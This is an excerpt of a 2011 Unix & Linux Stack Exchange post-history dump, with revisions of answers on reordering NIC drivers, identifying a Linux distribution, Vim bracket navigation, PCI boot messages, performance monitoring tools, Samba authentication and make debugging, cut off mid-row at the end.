  <row Id="24730" PostHistoryTypeId="2" PostId="10299" RevisionGUID="8d2943c5-2791-456e-9181-2105f2c5a506" CreationDate="2011-03-29T23:46:30.873" UserId="6136" Text="I am answering to my own question now because I finally found a workaround for this problem.&#xD;&#xA;&#xD;&#xA;I found out that it is possible to reorder the devices by unloading the drivers and then loading them in correct order.&#xD;&#xA;&#xD;&#xA;First method (bruteforce):&#xD;&#xA;-------------&#xD;&#xA;&#xD;&#xA;So the first method I came up with was simple to bruteforce the driver reload with init.d script.&#xD;&#xA;&#xD;&#xA;Following init script is tailored for Debian 6.0 but the same principle should work on almost any distribution using proper init.d scripts.&#xD;&#xA;&#xD;&#xA;    #!/bin/sh -e&#xD;&#xA;    &#xD;&#xA;    ### BEGIN INIT INFO&#xD;&#xA;    # Provides:          reorder-nics&#xD;&#xA;    # Required-Start:&#xD;&#xA;    # Required-Stop:&#xD;&#xA;    # Default-Start:     S&#xD;&#xA;    # Default-Stop:&#xD;&#xA;    # Short-Description: Reloads the nics in correct order&#xD;&#xA;    ### END INIT INFO&#xD;&#xA;    &#xD;&#xA;    #&#xD;&#xA;    # This script should reload the nic drivers in corrected order.&#xD;&#xA;    # Basically it just unloads and then loads the drivers in different order.&#xD;&#xA;    #&#xD;&#xA;    &#xD;&#xA;    echo &quot;Reloading NICs!&quot;&#xD;&#xA;    &#xD;&#xA;    # unload the drivers&#xD;&#xA;    modprobe -r driver_0        # eth0 nic interface&#xD;&#xA;    modprobe -r driver_1        # eth1 nic interface&#xD;&#xA;    &#xD;&#xA;    # load the drivers in corrected order&#xD;&#xA;    modprobe driver_1&#xD;&#xA;    modprobe driver_0&#xD;&#xA;    &#xD;&#xA;    #EOF&#xD;&#xA;&#xD;&#xA;-----&#xD;&#xA;&#xD;&#xA;Second method (Better I think):&#xD;&#xA;-------------&#xD;&#xA;I also found a bit more elegant way (at least for Debian &amp; Ubuntu systems).&#xD;&#xA;&#xD;&#xA;First Make sure that kernel doesnt automatically load the NIC drivers. This can be done by creating a blacklist file in **/etc/modprobe.d/**&quot;. I created a file named &quot;*disable-nics.conf*&quot;.&#xD;&#xA;&#xD;&#xA;    # Disable automatic loading of kernel driver modules&#xD;&#xA;    # Disable NIC drivers&#xD;&#xA;&#xD;&#xA;    blacklist driver_0     # eth0 by default&#xD;&#xA;    blacklist driver_1     # eth1 by default&#xD;&#xA;&#xD;&#xA;Then run '*depmod -ae*' as root&#xD;&#xA;&#xD;&#xA;Recreate your initrd with '*update-initramfs -u*'&#xD;&#xA;&#xD;&#xA;And finally add the driver names in corrected order into **/etc/modules** file.&#xD;&#xA;&#xD;&#xA;    # /etc/modules: kernel modules to load at boot time.&#xD;&#xA;    #&#xD;&#xA;    # This file contains the names of kernel modules that should be loaded&#xD;&#xA;    # at boot time, one per line. Lines beginning with &quot;#&quot; are ignored.&#xD;&#xA;    # Parameters can be specified after the module name.&#xD;&#xA;    &#xD;&#xA;    # drivers in wanted order&#xD;&#xA;    driver_1    # this one should be loaded as eth0&#xD;&#xA;    driver_0    # this one should be loaded as eth1&#xD;&#xA;&#xD;&#xA;Changes should come in effect on the next boot.&#xD;&#xA;&#xD;&#xA;Reboot is not necessary though, it's easy to switch the devices with following command (as root ofcourse):&#xD;&#xA;&#xD;&#xA;    modprobe -r driver_0; modprobe -r driver_1; modprobe driver_1; modprobe driver_0&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;-----&#xD;&#xA;Some usefull links I found while searching the solution:&#xD;&#xA;&#xD;&#xA;* http://www.macfreek.nl/mindmaster/Logical_Interface_Names&#xD;&#xA;* http://wiki.debian.org/KernelModuleBlacklisting&#xD;&#xA;* http://www.science.uva.nl/research/air/wiki/LogicalInterfaceNames&#xD;&#xA;" />
  <row Id="24731" PostHistoryTypeId="5" PostId="10299" RevisionGUID="3a159069-e0c9-4f6e-b1b3-11c3be2e288a" CreationDate="2011-03-29T23:59:15.887" UserId="6136" Comment="added 178 characters in body" Text="I am answering to my own question now because I finally found a workaround for this problem.&#xD;&#xA;&#xD;&#xA;I found out that it is possible to reorder the devices by unloading the drivers and then loading them in correct order.&#xD;&#xA;&#xD;&#xA;First method (bruteforce):&#xD;&#xA;-------------&#xD;&#xA;&#xD;&#xA;So the first method I came up with was simple to bruteforce the driver reload with init.d script.&#xD;&#xA;&#xD;&#xA;Following init script is tailored for Debian 6.0 but the same principle should work on almost any distribution using proper init.d scripts.&#xD;&#xA;&#xD;&#xA;    #!/bin/sh -e&#xD;&#xA;    &#xD;&#xA;    ### BEGIN INIT INFO&#xD;&#xA;    # Provides:          reorder-nics&#xD;&#xA;    # Required-Start:&#xD;&#xA;    # Required-Stop:&#xD;&#xA;    # Default-Start:     S&#xD;&#xA;    # Default-Stop:&#xD;&#xA;    # Short-Description: Reloads the nics in correct order&#xD;&#xA;    ### END INIT INFO&#xD;&#xA;    &#xD;&#xA;    #&#xD;&#xA;    # This script should reload the nic drivers in corrected order.&#xD;&#xA;    # Basically it just unloads and then loads the drivers in different order.&#xD;&#xA;    #&#xD;&#xA;    &#xD;&#xA;    echo &quot;Reloading NICs!&quot;&#xD;&#xA;    &#xD;&#xA;    # unload the drivers&#xD;&#xA;    modprobe -r driver_0        # eth0 nic interface&#xD;&#xA;    modprobe -r driver_1        # eth1 nic interface&#xD;&#xA;    &#xD;&#xA;    # load the drivers in corrected order&#xD;&#xA;    modprobe driver_1&#xD;&#xA;    modprobe driver_0&#xD;&#xA;    &#xD;&#xA;    #EOF&#xD;&#xA;&#xD;&#xA;Then the script must be added to proper runlevel directory. This can be done easily on Debian with &quot;*update-rc.d*&quot; command. For example: `update-rc.d reorder-nics start S`&#xD;&#xA;&#xD;&#xA;-----&#xD;&#xA;&#xD;&#xA;Second method (Better I think):&#xD;&#xA;-------------&#xD;&#xA;I also found a bit more elegant way (at least for Debian &amp; Ubuntu systems).&#xD;&#xA;&#xD;&#xA;First Make sure that kernel doesnt automatically load the NIC drivers. This can be done by creating a blacklist file in **/etc/modprobe.d/**&quot;. I created a file named &quot;*disable-nics.conf*&quot;.&#xD;&#xA;&#xD;&#xA;    # Disable automatic loading of kernel driver modules&#xD;&#xA;    # Disable NIC drivers&#xD;&#xA;&#xD;&#xA;    blacklist driver_0     # eth0 by default&#xD;&#xA;    blacklist driver_1     # eth1 by default&#xD;&#xA;&#xD;&#xA;Then run '*depmod -ae*' as root&#xD;&#xA;&#xD;&#xA;Recreate your initrd with '*update-initramfs -u*'&#xD;&#xA;&#xD;&#xA;And finally add the driver names in corrected order into **/etc/modules** file.&#xD;&#xA;&#xD;&#xA;    # /etc/modules: kernel modules to load at boot time.&#xD;&#xA;    #&#xD;&#xA;    # This file contains the names of kernel modules that should be loaded&#xD;&#xA;    # at boot time, one per line. Lines beginning with &quot;#&quot; are ignored.&#xD;&#xA;    # Parameters can be specified after the module name.&#xD;&#xA;    &#xD;&#xA;    # drivers in wanted order&#xD;&#xA;    driver_1    # this one should be loaded as eth0&#xD;&#xA;    driver_0    # this one should be loaded as eth1&#xD;&#xA;&#xD;&#xA;Changes should come in effect after the next boot.&#xD;&#xA;&#xD;&#xA;Reboot is not necessary though, it's easy to switch the devices with following command (as root ofcourse):&#xD;&#xA;&#xD;&#xA;    modprobe -r driver_0; modprobe -r driver_1; modprobe driver_1; modprobe driver_0&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;-----&#xD;&#xA;Some usefull links I found while searching the solution:&#xD;&#xA;&#xD;&#xA;* http://www.macfreek.nl/mindmaster/Logical_Interface_Names&#xD;&#xA;* http://wiki.debian.org/KernelModuleBlacklisting&#xD;&#xA;* http://www.science.uva.nl/research/air/wiki/LogicalInterfaceNames&#xD;&#xA;" />
  <row Id="24732" PostHistoryTypeId="25" PostId="10277" RevisionGUID="84c4ba66-32db-4d9b-a5fa-15ce2b11fef0" CreationDate="2011-03-30T00:00:20.977" Comment="http://twitter.com/#!/StackUnix/status/52882817859846144" />
  <row Id="24733" PostHistoryTypeId="2" PostId="10300" RevisionGUID="a3dbd97b-bf68-4f3e-bfbf-4e54266679e7" CreationDate="2011-03-30T00:45:40.687" UserId="2783" Text="In order of most probable succes, these:&#xD;&#xA;&#xD;&#xA;    cat /etc/*version&#xD;&#xA;    cat /proc/version #linprocfs/version for FreeBSD when &quot;linux&quot; enabled&#xD;&#xA;    cat /etc/*release&#xD;&#xA;    uname -rv&#xD;&#xA;&#xD;&#xA;cover most cases (AFAIK): Debian, Ubuntu, Slackware, Suse, Redhat, Gentoo, *BSD and perhaps others." />
  <row Id="24734" PostHistoryTypeId="5" PostId="10300" RevisionGUID="b5baaca3-a850-41c3-a4bc-cce3a88b56ba" CreationDate="2011-03-30T01:03:58.847" UserId="2783" Comment="added 1 characters in body" Text="In order of most probable success, these:&#xD;&#xA;&#xD;&#xA;    cat /etc/*version&#xD;&#xA;    cat /proc/version #linprocfs/version for FreeBSD when &quot;linux&quot; enabled&#xD;&#xA;    cat /etc/*release&#xD;&#xA;    uname -rv&#xD;&#xA;&#xD;&#xA;cover most cases (AFAIK): Debian, Ubuntu, Slackware, Suse, Redhat, Gentoo, *BSD and perhaps others." />
  <row Id="24735" PostHistoryTypeId="2" PostId="10301" RevisionGUID="f5036b1f-49ae-4ded-a6ff-5b432858b243" CreationDate="2011-03-30T02:26:18.560" UserId="3169" Text="This is a duplicate of http://unix.stackexchange.com/questions/6345/bash-get-distribution-name-and-version-number&#xD;&#xA;&#xD;&#xA;    if [ -f /etc/lsb-release ]; then&#xD;&#xA;        . /etc/lsb-release&#xD;&#xA;        DISTRO=$DISTRIB_ID&#xD;&#xA;    elif [ -f /etc/debian_version ]; then&#xD;&#xA;        DISTRO=Debian&#xD;&#xA;        # XXX or Ubuntu&#xD;&#xA;    elif [ -f /etc/redhat-release ]; then&#xD;&#xA;        DISTRO=&quot;Red Hat&quot;&#xD;&#xA;        # XXX or CentOS or Fedora?&#xD;&#xA;        ...&#xD;&#xA;    else&#xD;&#xA;        DISTRO=$(uname -s)&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;    echo &quot;$DISTRO&quot;&#xD;&#xA;" />
  <row Id="24736" PostHistoryTypeId="5" PostId="10301" RevisionGUID="dfa50fd8-7427-453d-b177-7fe5311ef7c0" CreationDate="2011-03-30T02:32:25.403" UserId="3169" Comment="added 159 characters in body; edited body" Text="This is a duplicate of http://unix.stackexchange.com/questions/6345/bash-get-distribution-name-and-version-number&#xD;&#xA;&#xD;&#xA;In brief, most of the time `lsb_release -a` or `lsb_release -si` will work.&#xD;&#xA;&#xD;&#xA;Or you can use a script like this to handle the case where `lsb_release` is not available.&#xD;&#xA;&#xD;&#xA;    if [ -f /etc/lsb-release ]; then&#xD;&#xA;        . /etc/lsb-release&#xD;&#xA;        DISTRO=$DISTRIB_ID&#xD;&#xA;    elif [ -f /etc/debian_version ]; then&#xD;&#xA;        DISTRO=Debian&#xD;&#xA;        # XXX or Ubuntu&#xD;&#xA;    elif [ -f /etc/redhat-release ]; then&#xD;&#xA;        DISTRO=&quot;Red Hat&quot;&#xD;&#xA;        # XXX or CentOS or Fedora&#xD;&#xA;    else&#xD;&#xA;        DISTRO=$(uname -s)&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;    echo &quot;$DISTRO&quot;&#xD;&#xA;" />
  <row Id="24737" PostHistoryTypeId="5" PostId="10301" RevisionGUID="1f998e21-f136-4530-a84e-2814a5f4dfb7" CreationDate="2011-03-30T02:51:24.380" UserId="3169" Comment="added 172 characters in body" Text="This is a duplicate of http://unix.stackexchange.com/questions/6345/bash-get-distribution-name-and-version-number&#xD;&#xA;&#xD;&#xA;In brief, most of the time `lsb_release -a` or `lsb_release -si` will work.&#xD;&#xA;&#xD;&#xA;Or you can use a script like this to handle the case where `lsb_release` is not available.&#xD;&#xA;&#xD;&#xA;    if [ -f /etc/lsb-release ]; then&#xD;&#xA;        . /etc/lsb-release&#xD;&#xA;        DISTRO=$DISTRIB_ID&#xD;&#xA;    elif [ -f /etc/debian_version ]; then&#xD;&#xA;        DISTRO=Debian&#xD;&#xA;        # XXX or Ubuntu&#xD;&#xA;    elif [ -f /etc/redhat-release ]; then&#xD;&#xA;        DISTRO=&quot;Red Hat&quot;&#xD;&#xA;        # XXX or CentOS or Fedora&#xD;&#xA;    else&#xD;&#xA;        DISTRO=$(uname -s)&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;    echo &quot;$DISTRO&quot;&#xD;&#xA;&#xD;&#xA;If you're typing it interactively, and so prefer something easy to type, and don't care what the output is, you can just do.&#xD;&#xA;&#xD;&#xA;    lsb_release -sd || cat /etc/*release&#xD;&#xA;" />
  <row Id="24738" PostHistoryTypeId="25" PostId="10267" RevisionGUID="59e87b5f-0611-43a9-9edc-3913e78b3c48" CreationDate="2011-03-30T03:00:21.037" Comment="http://twitter.com/#!/StackUnix/status/52928116338851840" />
  <row Id="24739" PostHistoryTypeId="5" PostId="10281" RevisionGUID="9c8284f8-d160-4a76-b682-d99793e0b5a2" CreationDate="2011-03-30T04:36:51.657" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Bash: Get Distribution Name and Version Number](http://unix.stackexchange.com/questions/6345/bash-get-distribution-name-and-version-number)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;Given (root) access to a machine with Linux through the command line(over ssh), how can I determine which distribution is actually running on the system?" />
  <row Id="24740" PostHistoryTypeId="10" PostId="10281" RevisionGUID="0ff23e01-686e-4730-b798-d0000fbd98d2" CreationDate="2011-03-30T04:36:51.563" UserId="73" CloseReasonId="1" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="24741" PostHistoryTypeId="18" PostId="10281" RevisionGUID="c479cffb-8e35-462a-8132-d947710693ab" CreationDate="2011-03-30T04:37:22.060" UserId="73" Comment="to http://unix.stackexchange.com/questions/6345/bash-get-distribution-name-and-version-number" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="24742" PostHistoryTypeId="18" PostId="10282" RevisionGUID="c479cffb-8e35-462a-8132-d947710693ab" CreationDate="2011-03-30T04:37:22.060" UserId="73" Comment="from http://unix.stackexchange.com/questions/10281/how-to-determine-distribution-from-command-line" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="24743" PostHistoryTypeId="18" PostId="10283" RevisionGUID="c479cffb-8e35-462a-8132-d947710693ab" CreationDate="2011-03-30T04:37:22.060" UserId="73" Comment="from http://unix.stackexchange.com/questions/10281/how-to-determine-distribution-from-command-line" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="24744" PostHistoryTypeId="18" PostId="10288" RevisionGUID="c479cffb-8e35-462a-8132-d947710693ab" CreationDate="2011-03-30T04:37:22.060" UserId="73" Comment="from http://unix.stackexchange.com/questions/10281/how-to-determine-distribution-from-command-line" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="24745" PostHistoryTypeId="18" PostId="10292" RevisionGUID="c479cffb-8e35-462a-8132-d947710693ab" CreationDate="2011-03-30T04:37:22.060" UserId="73" Comment="from http://unix.stackexchange.com/questions/10281/how-to-determine-distribution-from-command-line" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="24746" PostHistoryTypeId="18" PostId="10300" RevisionGUID="c479cffb-8e35-462a-8132-d947710693ab" CreationDate="2011-03-30T04:37:22.060" UserId="73" Comment="from http://unix.stackexchange.com/questions/10281/how-to-determine-distribution-from-command-line" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="24747" PostHistoryTypeId="18" PostId="10301" RevisionGUID="c479cffb-8e35-462a-8132-d947710693ab" CreationDate="2011-03-30T04:37:22.060" UserId="73" Comment="from http://unix.stackexchange.com/questions/10281/how-to-determine-distribution-from-command-line" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="24748" PostHistoryTypeId="18" PostId="6345" RevisionGUID="c479cffb-8e35-462a-8132-d947710693ab" CreationDate="2011-03-30T04:37:22.060" UserId="73" Comment="from http://unix.stackexchange.com/questions/10281/how-to-determine-distribution-from-command-line" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="24749" PostHistoryTypeId="14" PostId="10281" RevisionGUID="7a8e341b-bc8b-4c7d-b83f-27dab393091f" CreationDate="2011-03-30T04:37:22.297" UserId="73" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="24750" PostHistoryTypeId="5" PostId="10269" RevisionGUID="639ee0be-bd59-4409-b695-3b70a33fbf2f" CreationDate="2011-03-30T04:44:18.077" UserId="1107" Comment="A bit of formatting to differentiate typed Vim commands from other text." Text="In Vim you can use `[` and `]` to quickly travel to nearest unmatched bracket of the type entered in the next keystroke.&#xD;&#xA;&#xD;&#xA;So `[{` will take you back up to the nearest unmatched “{”; `])` would take you ahead to the nearest unmatched “)”, and so on." />
  <row Id="24751" PostHistoryTypeId="24" PostId="10269" RevisionGUID="639ee0be-bd59-4409-b695-3b70a33fbf2f" CreationDate="2011-03-30T04:44:18.077" Comment="Proposed by 1107 approved by -1 edit id of 240" />
  <row Id="24752" PostHistoryTypeId="5" PostId="10269" RevisionGUID="b16682ed-813a-41a6-8ecf-da3f6c095dd6" CreationDate="2011-03-30T04:44:18.343" UserId="73" Comment="added 58 characters in body" Text="In Vim you can use &lt;kbd&gt;[&lt;/kbd&gt; and &lt;kbd&gt;]&lt;/kbd&gt; to quickly travel to nearest unmatched bracket of the type entered in the next keystroke.&#xD;&#xA;&#xD;&#xA;So &lt;kbd&gt;[&lt;/kbd&gt;&lt;kbd&gt;{&lt;/kbd&gt; will take you back up to the nearest unmatched &quot;{&quot;; &lt;kbd&gt;]&lt;/kbd&gt;&lt;kbd&gt;)&lt;/kbd&gt; would take you ahead to the nearest unmatched &quot;)&quot;, and so on." />
  <row Id="24753" PostHistoryTypeId="5" PostId="10287" RevisionGUID="b30be81d-ed33-40a7-bada-c0dc37a35fee" CreationDate="2011-03-30T05:22:15.097" UserId="73" Comment="deleted 52 characters in body" Text="I get the following message on the console every time the Linux kernel boots:&#xD;&#xA;&#xD;&#xA;&gt; pci 0000:00:00.0: BAR 0: can't allocate mem resource [0xc0000000-0xbfffffff]&#xD;&#xA;&#xD;&#xA;Is this an error message? What causes this message? I am using Linux 2.6 kernel running on PowerPC (P2020)&#xD;&#xA;" />
  <row Id="24754" PostHistoryTypeId="25" PostId="10284" RevisionGUID="0e4e97d1-59aa-48d2-98f1-a52043d32a03" CreationDate="2011-03-30T06:00:21.037" Comment="http://twitter.com/#!/StackUnix/status/52973415023394816" />
  <row Id="24755" PostHistoryTypeId="5" PostId="10287" RevisionGUID="48cc6e58-17a6-4790-9aaa-9bd9c8df3259" CreationDate="2011-03-30T08:15:17.587" UserId="4269" Comment="updating with output of lspci and content of /proc/iomem; deleted 4 characters in body" Text="I get the following message on the console every time the Linux kernel boots:&#xD;&#xA;&#xD;&#xA;&gt; pci 0000:00:00.0: BAR 0: can't allocate mem resource [0xc0000000-0xbfffffff]&#xD;&#xA;&#xD;&#xA;Is this an error message? What causes this message? I am using Linux 2.6 kernel running on PowerPC (P2020)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Updating the question with the output of lspci and content of /proc/iomem&#xD;&#xA;&#xD;&#xA;`lspci`&#xD;&#xA;&#xD;&#xA;   &#xD;&#xA;&#xD;&#xA;&gt; 0000:00:00.0 Class 0604: Unknown&#xD;&#xA;&gt; device 1957:0070 (rev 20)&#xD;&#xA;&gt; &#xD;&#xA;&gt;    0000:01:00.0 Class 0200: Unknown&#xD;&#xA;&gt; device 14e4:1692 (rev 01)&#xD;&#xA;&gt; &#xD;&#xA;&gt;    0001:02:00.0 Class 0604: Unknown&#xD;&#xA;&gt; device 1957:0070 (rev 20)&#xD;&#xA;&gt; &gt; &#xD;&#xA;&gt; &gt;    0001:03:00.0 Class 0200: Unknown&#xD;&#xA;&gt; &gt; device 14e4:1692 (rev 01)&#xD;&#xA;&gt; &#xD;&#xA;&#xD;&#xA;`/proc/iomem`&#xD;&#xA;&#xD;&#xA;  &#xD;&#xA;&#xD;&#xA;&gt; a0000000-bfffffff : /pcie@ffe09000&#xD;&#xA;&gt; &#xD;&#xA;&gt;   a0000000-bfffffff : PCI Bus 0000:01&#xD;&#xA;&gt; &#xD;&#xA;&gt;   a0000000-a000ffff : 0000:01:00.0&#xD;&#xA;&gt; &#xD;&#xA;&gt;   a0000000-a000ffff : tg3&#xD;&#xA;&gt; &#xD;&#xA;&gt;   c0000000-dfffffff : /pcie@ffe0a000&#xD;&#xA;&gt; &#xD;&#xA;&gt;   c0000000-dfffffff : PCI Bus 0001:03&#xD;&#xA;&gt; &#xD;&#xA;&gt;   c0000000-c000ffff : 0001:03:00.0&#xD;&#xA;&gt; &#xD;&#xA;&gt;   c0000000-c000ffff : tg3&#xD;&#xA;&gt; &#xD;&#xA;&gt;   ffe04500-ffe04507 : serial&#xD;&#xA;&gt; &#xD;&#xA;&gt;   ffe04600-ffe04607 : serial&#xD;&#xA;&gt; &#xD;&#xA;&gt;   ffe07000-ffe07fff : spi&#xD;&#xA;&gt; &#xD;&#xA;&gt;   ffe24000-ffe24fff : ethernet&#xD;&#xA;&gt; &#xD;&#xA;&gt;   ffe24520-ffe2453f : mdio&#xD;&#xA;&gt; &#xD;&#xA;&gt;   ffe25000-ffe25fff : ethernet&#xD;&#xA;&#xD;&#xA;" />
  <row Id="24756" PostHistoryTypeId="2" PostId="10302" RevisionGUID="1255f336-e96f-40f4-889a-ddcd2f684854" CreationDate="2011-03-30T08:18:30.873" UserId="5349" Text="I would normally do something like this at the head of my script:&#xD;&#xA;&#xD;&#xA;    SCRIPTDIR=$(dirname $0)&#xD;&#xA;&#xD;&#xA;Or, to get the full pathname to the script's directory (instead of a relative pathname):&#xD;&#xA;&#xD;&#xA;    SCRIPTDIR=$(cd $(dirname $0) &amp;&amp; pwd)&#xD;&#xA;&#xD;&#xA;Then just reference `${SCRIPTDIR}` where needed." />
  <row Id="24757" PostHistoryTypeId="2" PostId="10303" RevisionGUID="74031dd8-71c5-49af-ac71-e6316e10a7ef" CreationDate="2011-03-30T08:55:00.467" UserId="4689" Text="For various reasons I need a setup with one server, and two diskless workstations. &#xD;&#xA;&#xD;&#xA;The workstations are to be &quot;fat clients&quot;, which means I want to enable them to use their own CPU, memory, etc, for everything. Ideally, the workstation users should not have to notice that they are running diskless at all (except for the PXE booting, obviously...).&#xD;&#xA;&#xD;&#xA;The workstations should run OpenSuse (some version between and including 11.2 and 11.4) since that is what we use. They don't necessarily have to run a vanilla openSuse install, but as close as possible.&#xD;&#xA;&#xD;&#xA;The general idea is to PXE boot the workstations, and then let them mount their (root) filesystems on the server via NFS.&#xD;&#xA;&#xD;&#xA;I tried simply copying an existing OpenSuse 11.4 installation to a directory which I then exported via NFS. The kernel and initrd were then exposed via PXE/TFTP. The problem is that the initrd from the install is tailored to the machine it was installed on, so using it as is did not work.&#xD;&#xA;&#xD;&#xA;I have made some attempts to use LTSP (KIWI-LTSP for OpenSuse) with very limited success.&#xD;&#xA;&#xD;&#xA;So, now to my actual question(s):&#xD;&#xA;&#xD;&#xA;**1) Apart from modifying the initrd by hand to work with the diskless workstations, is there anything else I could use to aid me?**&#xD;&#xA;&#xD;&#xA;**2) One idea I had was to use the same root (&quot;/&quot;) for both workstations, and then mount stuff like /var and /tmp as tmpfs. Are there any pitfalls to avoid here?**&#xD;&#xA;&#xD;&#xA;**3) Any other ideas on how to accomplish this setup? All ideas are very welcome!**" />
  <row Id="24758" PostHistoryTypeId="1" PostId="10303" RevisionGUID="74031dd8-71c5-49af-ac71-e6316e10a7ef" CreationDate="2011-03-30T08:55:00.467" UserId="4689" Text="Diskless workstations" />
  <row Id="24759" PostHistoryTypeId="3" PostId="10303" RevisionGUID="74031dd8-71c5-49af-ac71-e6316e10a7ef" CreationDate="2011-03-30T08:55:00.467" UserId="4689" Text="éopensuseàéhardödiskàéltspàépxeà" />
  <row Id="24760" PostHistoryTypeId="25" PostId="10303" RevisionGUID="0d2d198b-2f63-4f3a-9670-9ee8790750f1" CreationDate="2011-03-30T09:00:20.947" Comment="http://twitter.com/#!/StackUnix/status/53018713305251840" />
  <row Id="24761" PostHistoryTypeId="2" PostId="10304" RevisionGUID="0f495189-51fd-49fc-b5f3-9eed17c84876" CreationDate="2011-03-30T11:26:47.467" UserId="6117" Text="Is there some performace monitoring tool which would run in background gathering info about all system activity? Somethimes my system (Arch linux, 32 bit) slows down terribly and the `top` utility doesn't show anything.&#xD;&#xA;&#xD;&#xA;I imagine some daemon which would gather info and log it, so when the slowdown pass away I would be able to find what was the problem. " />
  <row Id="24762" PostHistoryTypeId="1" PostId="10304" RevisionGUID="0f495189-51fd-49fc-b5f3-9eed17c84876" CreationDate="2011-03-30T11:26:47.467" UserId="6117" Text="performance monitoring" />
  <row Id="24763" PostHistoryTypeId="3" PostId="10304" RevisionGUID="0f495189-51fd-49fc-b5f3-9eed17c84876" CreationDate="2011-03-30T11:26:47.467" UserId="6117" Text="éperformanceàémonitoringàéioàécpuà" />
  <row Id="24764" PostHistoryTypeId="2" PostId="10305" RevisionGUID="6cbe97c3-b99b-4699-99fe-8873ddebeb46" CreationDate="2011-03-30T11:45:18.797" UserId="2671" Text="The slowdown might not have been caused by CPUs being utilized. Check `iotop` for IO utilization." />
  <row Id="24765" PostHistoryTypeId="5" PostId="10302" RevisionGUID="88514622-8555-4e0f-b923-fc45faeb5fdc" CreationDate="2011-03-30T11:54:30.153" UserId="5349" Comment="Changed $0 to &quot;$0&quot;" Text="I would normally do something like this at the head of my script:&#xD;&#xA;&#xD;&#xA;    SCRIPTDIR=$(dirname &quot;$0&quot;)&#xD;&#xA;&#xD;&#xA;Or, to get the full pathname to the script's directory (instead of a relative pathname):&#xD;&#xA;&#xD;&#xA;    SCRIPTDIR=$(cd $(dirname &quot;$0&quot;) &amp;&amp; pwd)&#xD;&#xA;&#xD;&#xA;Then just reference `${SCRIPTDIR}` where needed." />
  <row Id="24766" PostHistoryTypeId="25" PostId="10304" RevisionGUID="351d78be-f2d1-4ea5-befc-be2699f226e1" CreationDate="2011-03-30T12:00:21.147" Comment="http://twitter.com/#!/StackUnix/status/53064010949607424" />
  <row Id="24767" PostHistoryTypeId="2" PostId="10306" RevisionGUID="4c4b367b-b7c7-4293-b29f-1c3889f28d19" CreationDate="2011-03-30T12:03:19.380" UserId="1946" Text="How about [sar][1]?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Sar_in_UNIX" />
  <row Id="24768" PostHistoryTypeId="2" PostId="10307" RevisionGUID="32e23b67-9e32-4e58-aeb1-c61a2b2e8884" CreationDate="2011-03-30T12:04:17.900" UserId="4520" Text="Consider installing munin.  It will monitor a wide variety of data and provide graphical output.  This is better for monitoring trends. &#xD;&#xA;&#xD;&#xA;You may also want to consider run sar in the background.  It can identify a number of issues including CPU, I/O, swap, and other issues.  If you are experiencing problems, this may be your best for your current situation.&#xD;&#xA;" />
  <row Id="24769" PostHistoryTypeId="2" PostId="10308" RevisionGUID="e1f9f35c-5346-4492-a934-dccc4e27e386" CreationDate="2011-03-30T12:04:41.457" UserId="4523" Text="There are a lot of them. If you want it to be basic and command-line, take a loot to `sar`.&#xD;&#xA;Or you could use some monitoring tool with nice web ui. Personally I prefer zabbix, there are also monitorix (very simple to setup), nagios, zenoss and many others.&#xD;&#xA;&#xD;&#xA;[Monitorix][1] is probably what you want on this point.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.monitorix.org/" />
  <row Id="24770" PostHistoryTypeId="2" PostId="10309" RevisionGUID="a89ac410-af06-42db-8f7c-34905df9083a" CreationDate="2011-03-30T12:24:43.810" UserId="6167" Text="You might be using share-level security (security = share) in your smb.conf file.  In share-level security, Samba uses the share name as the username for the connection and does not ask for a username in the protocol.  This is basically how Window 98 worked.  You probably want security = user and you will need a proper smbpasswd file as well as Samba can't use the normal UNIX password database (/etc/passwd or /etc/shadow).  Use smbpasswd -a lfm to add a new user for lfm and set it's password, set security = user in smb.conf and restart Samba." />
  <row Id="24771" PostHistoryTypeId="2" PostId="10310" RevisionGUID="d9fa34f8-f39e-465a-a481-03409ae2877e" CreationDate="2011-03-30T12:32:22.537" UserId="3645" Text="Running a simple&#xD;&#xA;&#xD;&#xA;    $ make --print-data-base --question &gt;/dev/null&#xD;&#xA;&#xD;&#xA;, I always get an error from one of the subdirectories that has a makefile:&#xD;&#xA;&#xD;&#xA;    make: *** [berkeleydb] Error 1&#xD;&#xA;&#xD;&#xA;I know `--question` returns exit code 1 if the directory is not up to date, but that is not the issue - Other directories which are not up to date do not get listed like this in the output. The usual exit code of the command above is `1` (presumably because of `--question`), but after the given message it returns `2`. Also, strangely, this command does *not* print anything on standard error:&#xD;&#xA;&#xD;&#xA;    $ cd berkeleydb &amp;&amp; 2&gt;&amp;1 make --print-data-base --question &gt;/dev/null&#xD;&#xA;&#xD;&#xA;No amount of debugging seems to entice `make` to explain what is wrong:&#xD;&#xA;&#xD;&#xA;    $ 2&gt;&amp;1 /sbin/strace -f make --debug --print-data-base --question | grep -C 5 Error&#xD;&#xA;&#xD;&#xA;    Process 13739 detached&#xD;&#xA;    &lt;... wait4 